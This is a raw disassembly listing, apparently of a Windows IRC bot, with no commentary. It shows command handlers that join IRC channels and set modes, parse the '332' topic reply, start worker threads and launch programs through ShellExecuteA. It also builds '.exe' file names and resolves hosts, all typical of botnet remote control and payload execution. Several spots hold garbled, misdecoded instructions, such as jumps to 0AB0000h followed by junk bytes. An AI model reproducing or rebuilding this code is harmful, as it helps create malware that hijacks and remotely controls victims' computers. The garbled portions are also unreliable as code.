		push	esi
		push	eax
		call	sub_41246A
		xor	eax, eax
		cmp	[ebp-9A2h], bl
		push	dword ptr [ebp-8Ch]
		setnz	al
		mov	[ebp-574h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-704h], eax
		lea	eax, [ebp-600h]
		push	esi
		push	eax
		call	sub_41246A
		mov	eax, [ebp-4]
		push	dword ptr [ebp+20h]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		push	edi
		push	offset unk_42E294
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_41246A
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Dh
		push	eax
		call	sub_41199A
		add	esp, 38h
		mov	[ebp-580h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-704h]
		push	ebx
		push	eax
		push	offset loc_401447
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-580h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_40DA21


loc_40DA0B:				; CODE XREF: .nsp0:0040DA1Fj
		cmp	[ebp-568h], ebx
		jnz	loc_40C876
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_40DA0B
; ---------------------------------------------------------------------------


loc_40DA21:				; CODE XREF: .nsp0:0040DA09j
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E248
		jmp	loc_40C867
; ---------------------------------------------------------------------------


loc_40DA32:				; CODE XREF: .nsp0:0040D952j
		push	offset unk_42E1FC
		jmp	loc_40EF8A
; ---------------------------------------------------------------------------


loc_40DA3C:				; CODE XREF: .nsp0:0040C3BAj
					; .nsp0:0040C3D1j
		push	dword ptr [ebp+20h]
		push	edi
		call	near ptr 0AB0000h
		cmpsd
		test	eax, eax
		jz	short loc_40DA6C
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2C8h]
		push	edi
		push	offset unk_42E1C4
		push	200h
		push	eax
		call	sub_41246A


loc_40DA64:				; CODE XREF: .nsp0:0040E29Fj
		add	esp, 14h
		jmp	loc_40C876
; ---------------------------------------------------------------------------


loc_40DA6C:				; CODE XREF: .nsp0:0040DA48j
		push	offset dword_42E1A4
		call	loc_407ADC
		push	eax
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_41246A
		add	esp, 10h
		jmp	loc_40C876
; ---------------------------------------------------------------------------


loc_40DA90:				; CODE XREF: .nsp0:0040C38Cj
					; .nsp0:0040C3A3j
		push	edi
		lea	eax, [ebp-77Ch]
		push	104h
		push	eax
		call	sub_41246A
		add	esp, 0Ch
		cmp	[ebp-0Ch], ebx
		jz	short loc_40DACA
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_4124C0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40DACA
		push	eax
		lea	eax, [ebp-678h]
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx


loc_40DACA:				; CODE XREF: .nsp0:0040DAA8j
					; .nsp0:0040DAB9j
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-7FCh]
		push	80h
		push	eax
		call	sub_41246A
		mov	eax, [ebp+0Ch]
		mov	[ebp-800h], eax
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-678h]
		push	eax
		lea	eax, [ebp-77Ch]
		push	eax
		push	offset unk_42E160
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_41246A
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Bh
		push	eax
		call	sub_41199A
		add	esp, 2Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-800h]
		push	ebx
		push	eax
		push	offset sub_40665C
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_40DB7D


loc_40DB67:				; CODE XREF: .nsp0:0040DB7Bj
		cmp	[ebp-568h], ebx
		jnz	loc_40C897
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_40DB67
; ---------------------------------------------------------------------------


loc_40DB7D:				; CODE XREF: .nsp0:0040DB65j
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E110


loc_40DB89:				; CODE XREF: .nsp0:0040F166j
					; .nsp0:0040F677j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_411EEE
		add	esp, 0Ch
		jmp	loc_40C897
; ---------------------------------------------------------------------------


loc_40DB9D:				; CODE XREF: .nsp0:0040C35Ej
					; .nsp0:0040C375j
		push	44h
		lea	eax, [ebp-48Ch]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_411F70
		push	1
		mov	[ebp-48Ch], esi
		pop	esi
		mov	[ebp-45Ch], bx
		push	edi
		mov	[ebp-460h], esi
		call	sub_41245F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_40DBDA
		mov	word ptr [ebp-45Ch], 5


loc_40DBDA:				; CODE XREF: .nsp0:0040DBCFj
		cmp	[ebp-0Ch], ebx
		jz	loc_40E5D4
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_4124C0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_40E5D4
		lea	eax, [ebp-2D8h]
		push	eax
		lea	eax, [ebp-48Ch]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 0AB0000h
		sbb	al, 85h
		sal	byte ptr [ebp+0Ah], 68h
		fsub	st, st
		inc	edx
		add	cl, ch
		mov	eax, ds:57000009h
		push	offset unk_42E0AC
		jmp	loc_40DF0A
; ---------------------------------------------------------------------------


loc_40DC30:				; CODE XREF: .nsp0:0040C330j
					; .nsp0:0040C347j
		push	dword ptr [ebp+20h]
		push	offset aIds4473	; "ids4473"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DDA4
		lea	eax, [ebp-3E8h]
		push	eax
		push	104h
		call	near ptr 0AB0000h
		pop	edi
		push	0FFh
		lea	eax, [ebp-788h]
		push	edi
		push	eax
		call	sub_413710
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_410DCB
		push	eax
		lea	eax, [ebp-3E8h]
		push	eax
		lea	eax, [ebp-688h]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_411EEE
		mov	eax, [ebp+esi-88h]
		add	esp, 20h
		cmp	eax, ebx
		mov	dword ptr [ebp-584h], 1
		mov	[ebp-580h], ebx
		jz	short loc_40DCC2
		push	10h
		push	ebx
		push	eax
		call	sub_413459
		add	esp, 0Ch
		mov	[ebp-578h], eax
		jmp	short loc_40DCC8
; ---------------------------------------------------------------------------


loc_40DCC2:				; CODE XREF: .nsp0:0040DCACj
		mov	[ebp-578h], ebx


loc_40DCC8:				; CODE XREF: .nsp0:0040DCC0j
		mov	esi, [ebp+esi-84h]
		cmp	esi, ebx
		jz	short loc_40DCE2
		push	esi
		call	sub_41245F
		pop	ecx
		mov	[ebp-57Ch], eax
		jmp	short loc_40DCE8
; ---------------------------------------------------------------------------


loc_40DCE2:				; CODE XREF: .nsp0:0040DCD1j
		mov	[ebp-57Ch], ebx


loc_40DCE8:				; CODE XREF: .nsp0:0040DCE0j
		movzx	eax, byte ptr [ebp-9AFh]
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-574h], eax
		lea	eax, [ebp-808h]
		mov	[ebp-80Ch], esi
		push	eax
		call	sub_413710
		mov	eax, [ebp-4]
		push	edi
		mov	[ebp-56Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-570h], eax
		lea	eax, [ebp-2C8h]
		push	offset unk_42E060
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp-2C8h]
		push	16h
		push	eax
		call	sub_41199A
		add	esp, 24h
		mov	[ebp-588h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-80Ch]
		push	ebx
		push	eax
		push	offset loc_40915B
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-588h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_40DD93


loc_40DD7D:				; CODE XREF: .nsp0:0040DD91j
		cmp	[ebp-568h], ebx
		jnz	loc_40E5D4
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_40DD7D
; ---------------------------------------------------------------------------


loc_40DD93:				; CODE XREF: .nsp0:0040DD7Bj
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E010
		jmp	loc_40DF0A
; ---------------------------------------------------------------------------


loc_40DDA4:				; CODE XREF: .nsp0:0040DC41j
		push	offset unk_42DFB8
		jmp	loc_40E5C6
; ---------------------------------------------------------------------------


loc_40DDAE:				; CODE XREF: .nsp0:0040C302j
					; .nsp0:0040C319j
		push	dword ptr [ebp-90h]
		push	offset a332	; "332"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A7B4
		cmp	[ebp-0Ch], ebx
		jz	loc_40A7B4
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_4124C0
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset dword_42DFA8
		push	eax
		call	sub_411EEE
		lea	eax, [ebp-2C8h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_413710
		push	edi
		call	sub_41245F
		add	esp, 30h
		test	eax, eax
		jle	short loc_40DE35
		push	edi
		call	sub_41245F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	dword_41D05C	; Sleep


loc_40DE35:				; CODE XREF: .nsp0:0040DE1Fj
		push	offset dword_42DF80
		call	sub_408E17
		mov	eax, [ebp+2Ch]
		pop	ecx
		inc	eax
		jmp	loc_40A7B7
; ---------------------------------------------------------------------------


loc_40DE49:				; CODE XREF: .nsp0:0040C2D4j
					; .nsp0:0040C2EBj
		push	dword ptr [ebp-90h]
		push	offset a332	; "332"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A7B4
		cmp	[ebp-0Ch], ebx
		jz	loc_40F7D2
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_4124C0
		mov	esi, eax
		mov	eax, [ebp+20h]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_412310
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_40DF05
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset dword_42DFA8
		push	eax
		call	sub_411EEE
		lea	eax, [ebp-2C8h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_413710
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset dword_42DF4C
		push	eax
		call	sub_411EEE
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_408E17
		push	edi
		call	sub_41245F
		add	esp, 38h
		test	eax, eax
		jle	loc_40F7D2
		push	edi
		call	sub_41245F
		add	eax, [ebp+2Ch]
		pop	ecx
		jmp	loc_40A7B7
; ---------------------------------------------------------------------------


loc_40DF05:				; CODE XREF: .nsp0:0040DE8Ej
		push	offset dword_42DF04


loc_40DF0A:				; CODE XREF: .nsp0:0040C7FDj
					; .nsp0:0040D93Cj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_411EEE
		add	esp, 0Ch
		jmp	loc_40E5D4
; ---------------------------------------------------------------------------


loc_40DF1E:				; CODE XREF: .nsp0:0040C2A6j
					; .nsp0:0040C2BDj
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2C8h]
		push	offset dword_42DEFC
		push	eax
		call	sub_411EEE
		push	edi
		call	sub_41245F
		add	esp, 10h


loc_40DF3B:				; CODE XREF: .nsp0:0040DFA5j
		test	eax, eax
		jle	loc_40F7D2
		push	edi
		call	sub_41245F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40F7D2


loc_40DF55:				; CODE XREF: .nsp0:0040E6A8j
		lea	eax, [ebp-2C8h]
		push	eax
		push	offset dword_42DEF4
		push	edi
		call	sub_41245F
		imul	eax, 234h
		pop	ecx
		push	dword_438C64[eax]
		call	sub_40F9AB


loc_40DF79:				; CODE XREF: .nsp0:0040F535j
		add	esp, 0Ch
		jmp	loc_40F7D2
; ---------------------------------------------------------------------------


loc_40DF81:				; CODE XREF: .nsp0:0040C278j
					; .nsp0:0040C28Fj
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp+20h]
		push	offset dword_42DEE8
		push	eax
		call	sub_411EEE
		push	edi
		call	sub_41245F
		add	esp, 14h
		jmp	short loc_40DF3B
; ---------------------------------------------------------------------------


loc_40DFA7:				; CODE XREF: .nsp0:0040C24Aj
					; .nsp0:0040C261j
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2C8h]
		push	offset dword_42DEE0
		push	eax
		call	sub_411EEE
		push	edi
		call	sub_41245F
		add	esp, 10h
		test	eax, eax
		jle	loc_40F7D2
		push	edi
		call	sub_41245F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40F7D2
		lea	eax, [ebp-2C8h]
		push	eax
		push	offset dword_42DEF4
		push	edi
		call	sub_41245F
		imul	eax, 234h
		pop	ecx
		push	dword_438C64[eax]
		call	sub_40F9AB
		push	dword ptr [ebp+20h]
		push	edi
		push	offset dword_42DEB0


loc_40E00B:				; CODE XREF: .nsp0:0040E095j
					; .nsp0:0040E100j ...
		call	sub_408E8B


loc_40E010:				; CODE XREF: .nsp0:0040F202j
		add	esp, 18h
		jmp	loc_40F7D2
; ---------------------------------------------------------------------------


loc_40E018:				; CODE XREF: .nsp0:0040C21Cj
					; .nsp0:0040C233j
		cmp	[ebp-0Ch], ebx
		jz	loc_40F7D2
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_4124C0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40E049
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset dword_42DEA8
		push	eax
		call	sub_411EEE
		add	esp, 0Ch


loc_40E049:				; CODE XREF: .nsp0:0040E032j
		push	edi
		call	sub_41245F
		test	eax, eax
		pop	ecx
		jle	loc_40F7D2
		push	edi
		call	sub_41245F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40F7D2
		lea	eax, [ebp-2C8h]
		push	eax
		push	offset dword_42DEF4
		push	edi
		call	sub_41245F
		imul	eax, 234h
		pop	ecx
		push	dword_438C64[eax]
		call	sub_40F9AB
		push	esi
		push	edi
		push	offset dword_42DE78
		jmp	loc_40E00B
; ---------------------------------------------------------------------------


loc_40E09A:				; CODE XREF: .nsp0:0040C1EEj
					; .nsp0:0040C205j
		cmp	[ebp-0Ch], ebx
		jz	loc_40F7D2
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_4124C0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40F7D2
		push	edi
		call	sub_41245F
		test	eax, eax
		pop	ecx
		jle	loc_40F7D2
		push	edi
		call	sub_41245F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40F7D2
		push	esi
		push	offset dword_42DEF4
		push	edi
		call	sub_41245F
		imul	eax, 234h
		pop	ecx
		push	dword_438C64[eax]
		call	sub_40F9AB
		push	esi
		push	edi
		push	offset dword_42DE48
		jmp	loc_40E00B
; ---------------------------------------------------------------------------


loc_40E105:				; CODE XREF: .nsp0:0040C1C0j
					; .nsp0:0040C1D7j
		cmp	[ebp-0Ch], ebx
		jz	loc_40F7D2
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_4124C0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40F7D2
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		push	esi
		push	offset dword_42DE0C


loc_40E137:				; CODE XREF: .nsp0:0040E84Dj
					; .nsp0:0040E866j ...
		call	sub_408E8B


loc_40E13C:				; CODE XREF: .nsp0:0040E1A5j
		add	esp, 14h
		jmp	loc_40F7D2
; ---------------------------------------------------------------------------


loc_40E144:				; CODE XREF: .nsp0:0040C192j
					; .nsp0:0040C1A9j
		push	dword ptr [ebp-90h]
		push	offset a332	; "332"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A7B4
		push	dword ptr [ebp+20h]
		push	offset dword_42DE00
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		push	edi
		call	sub_41245F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_41D05C	; Sleep
		push	dword ptr [ebp+esi-88h]
		push	dword ptr [ebp+20h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		push	offset dword_42DDD8
		call	sub_408E17
		jmp	short loc_40E13C
; ---------------------------------------------------------------------------


loc_40E1A7:				; CODE XREF: .nsp0:0040C164j
					; .nsp0:0040C17Bj
		cmp	[ebp-0Ch], ebx
		jz	loc_40F7D2
		push	edi
		call	sub_4126F0
		push	dword ptr [ebp+18h]
		mov	esi, eax
		call	sub_4126F0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+20h]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_4124C0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_40F7D2
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset dword_42E678
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		push	edi
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		push	esi
		push	edi
		push	offset dword_42DDA8
		call	sub_408E8B
		add	esp, 2Ch
		jmp	loc_40F7D2
; ---------------------------------------------------------------------------


loc_40E215:				; CODE XREF: .nsp0:0040C136j
					; .nsp0:0040C14Dj
		cmp	[ebp-0Ch], ebx
		jz	loc_40F7D2
		push	edi
		call	sub_4126F0
		push	dword ptr [ebp+18h]
		mov	esi, eax
		call	sub_4126F0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+20h]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_4124C0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_40F7D2
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		push	esi
		push	edi
		push	offset dword_42DD78
		call	sub_408E8B
		jmp	loc_40CE32
; ---------------------------------------------------------------------------


loc_40E268:				; CODE XREF: .nsp0:0040C108j
					; .nsp0:0040C11Fj
		cmp	[ebp-0Ch], ebx
		jz	loc_40A7B4
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_4124C0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40A7B4
		push	eax
		push	edi
		call	sub_408D1F
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_42DD48
		push	eax
		call	sub_411EEE
		jmp	loc_40DA64
; ---------------------------------------------------------------------------


loc_40E2A4:				; CODE XREF: .nsp0:0040C0C8j
					; .nsp0:0040C0DFj
		push	edi
		push	dword ptr [ebp+24h]
		call	sub_4124C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F7D2
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_40E341
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_4124C0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40E329
		push	esi
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset dword_42DFA8
		push	eax
		call	sub_411EEE
		lea	eax, [ebp-2C8h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_413710
		push	esi
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_42DD10
		push	eax
		call	sub_411EEE
		add	esp, 34h
		inc	dword ptr [ebp+2Ch]
		jmp	loc_40F418
; ---------------------------------------------------------------------------


loc_40E329:				; CODE XREF: .nsp0:0040E2D1j
		lea	eax, [ebp-2C8h]
		push	offset dword_42DCCC
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx
		jmp	loc_40F418
; ---------------------------------------------------------------------------


loc_40E341:				; CODE XREF: .nsp0:0040E2C0j
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_408C59
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		push	edi
		push	offset dword_42DCA0
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_41246A
		add	esp, 24h
		jmp	loc_40F418
; ---------------------------------------------------------------------------


loc_40E388:				; CODE XREF: .nsp0:0040BB05j
					; .nsp0:0040BB1Cj
		push	offset aR	; "r"
		push	edi
		call	sub_4125E8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40E402
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		call	sub_4140AC
		add	esp, 0Ch


loc_40E3B1:				; CODE XREF: .nsp0:0040E3E0j
		test	eax, eax
		jz	short loc_40E3E2
		push	1
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		push	esi
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		call	sub_4140AC
		add	esp, 20h
		jmp	short loc_40E3B1
; ---------------------------------------------------------------------------


loc_40E3E2:				; CODE XREF: .nsp0:0040E3B3j
		push	esi
		call	sub_412540
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_42DC64
		push	eax
		call	sub_411EEE
		add	esp, 10h
		jmp	loc_40C0A0
; ---------------------------------------------------------------------------


loc_40E402:				; CODE XREF: .nsp0:0040E399j
		push	edi
		push	offset dword_42DC30
		jmp	loc_40F686
; ---------------------------------------------------------------------------


loc_40E40D:				; CODE XREF: .nsp0:0040BAD7j
					; .nsp0:0040BAEEj
		cmp	[ebp-0Ch], ebx
		jz	loc_40F7D2
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_4124C0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40F7D2
		push	offset asc_422200 ; "\n"
		push	esi
		call	sub_412610
		push	esi
		call	sub_4084BD
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40E44D
		push	offset dword_42DBF0
		jmp	loc_40E5C6
; ---------------------------------------------------------------------------


loc_40E44D:				; CODE XREF: .nsp0:0040E441j
		push	esi
		push	offset dword_42DBC4
		jmp	loc_40F409
; ---------------------------------------------------------------------------


loc_40E458:				; CODE XREF: .nsp0:0040BAA9j
					; .nsp0:0040BAC0j
		cmp	[ebp-0Ch], ebx
		jz	loc_40F7D2
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_4124C0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F7D2
		push	eax
		call	loc_407BA1
		test	eax, eax
		pop	ecx
		jnz	short loc_40E489
		push	offset unk_42DB94
		jmp	loc_40E5C6
; ---------------------------------------------------------------------------


loc_40E489:				; CODE XREF: .nsp0:0040E47Dj
		push	offset dword_42DB64
		jmp	loc_40E5C6
; ---------------------------------------------------------------------------


loc_40E493:				; CODE XREF: .nsp0:0040BA7Bj
					; .nsp0:0040BA92j
		push	ebx
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	edi
		call	sub_404A02
		push	edi
		push	offset dword_42DB3C
		jmp	loc_40E00B
; ---------------------------------------------------------------------------


loc_40E4AE:				; CODE XREF: .nsp0:0040BA4Dj
					; .nsp0:0040BA64j
		push	edi
		call	near ptr 0AB0000h
		mov	al, ds:874C085h
		push	edi
		push	offset dword_42DB0C
		jmp	short loc_40E4CC
; ---------------------------------------------------------------------------
		push	offset dword_42E1A4
		call	loc_407ADC
		push	eax


loc_40E4CC:				; CODE XREF: .nsp0:0040E4BFj
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_41246A
		add	esp, 10h
		jmp	loc_40C07F
; ---------------------------------------------------------------------------


loc_40E4E5:				; CODE XREF: .nsp0:0040BA1Fj
					; .nsp0:0040BA36j
		push	edi
		call	sub_41245F
		push	eax
		call	sub_410D06
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_40E502
		push	offset dword_42DAD4
		jmp	short loc_40E507
; ---------------------------------------------------------------------------


loc_40E502:				; CODE XREF: .nsp0:0040E4F9j
		push	offset dword_42DA8C


loc_40E507:				; CODE XREF: .nsp0:0040E500j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_411EEE
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	loc_40C0A3
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		add	esp, 14h
		jmp	loc_40C0A3
; ---------------------------------------------------------------------------


loc_40E540:				; CODE XREF: .nsp0:0040B9F1j
					; .nsp0:0040BA08j
		push	ebx
		push	ebx
		push	edi
		push	dword ptr [ebp-4]
		push	ebx
		push	dword ptr [ebp+0Ch]
		call	sub_410A77
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_40E562
		push	offset dword_42DA54
		jmp	loc_40F686
; ---------------------------------------------------------------------------


loc_40E562:				; CODE XREF: .nsp0:0040E556j
		push	offset dword_42DA10
		jmp	loc_40F686
; ---------------------------------------------------------------------------


loc_40E56C:				; CODE XREF: .nsp0:0040B9C3j
					; .nsp0:0040B9DAj
		push	edi
		call	dword_433B08	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	short loc_40E5A6
		push	2
		lea	eax, [ebp+8]
		push	4
		push	eax
		call	dword_433A80	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_40E5C1
		push	dword ptr [eax]


loc_40E58F:				; CODE XREF: .nsp0:0040E5BFj
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_42D9E0
		push	eax
		call	sub_411EEE
		add	esp, 10h
		jmp	short loc_40E5D4
; ---------------------------------------------------------------------------


loc_40E5A6:				; CODE XREF: .nsp0:0040E579j
		push	edi
		call	dword_433B4C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_40E5C1
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_433B54	; inet_ntoa
		push	eax
		jmp	short loc_40E58F
; ---------------------------------------------------------------------------


loc_40E5C1:				; CODE XREF: .nsp0:0040E58Bj
					; .nsp0:0040E5AFj
		push	offset dword_42D9A4


loc_40E5C6:				; CODE XREF: .nsp0:0040DDA9j
					; .nsp0:0040E448j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx


loc_40E5D4:				; CODE XREF: .nsp0:0040D920j
					; .nsp0:0040DBDDj ...
		cmp	[ebp-8], ebx
		jnz	loc_40F418
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		add	esp, 14h
		jmp	loc_40F418
; ---------------------------------------------------------------------------


loc_40E5FE:				; CODE XREF: .nsp0:0040B995j
					; .nsp0:0040B9ACj
		push	7Fh
		push	edi
		push	dword ptr [ebp+1Ch]
		call	sub_413710
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_42D96C
		push	eax
		call	sub_411EEE
		add	esp, 18h
		jmp	loc_40F73A
; ---------------------------------------------------------------------------


loc_40E623:				; CODE XREF: .nsp0:0040B967j
					; .nsp0:0040B97Ej
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_433A3C	; ShellExecuteA
		test	eax, eax
		push	edi
		jz	short loc_40E643
		push	offset unk_42D93C
		jmp	loc_40F686
; ---------------------------------------------------------------------------


loc_40E643:				; CODE XREF: .nsp0:0040E637j
		push	offset unk_42D904
		jmp	loc_40F686
; ---------------------------------------------------------------------------


loc_40E64D:				; CODE XREF: .nsp0:0040B939j
					; .nsp0:0040B950j
		mov	al, [edi]
		mov	byte_425B6C, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_42D8CC
		jmp	loc_40F72B
; ---------------------------------------------------------------------------


loc_40E662:				; CODE XREF: .nsp0:0040B90Bj
					; .nsp0:0040B922j
		push	edi
		call	sub_41245F
		test	eax, eax
		pop	ecx
		jle	loc_40F7D2
		push	edi
		call	sub_41245F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40F7D2
		push	ebx
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
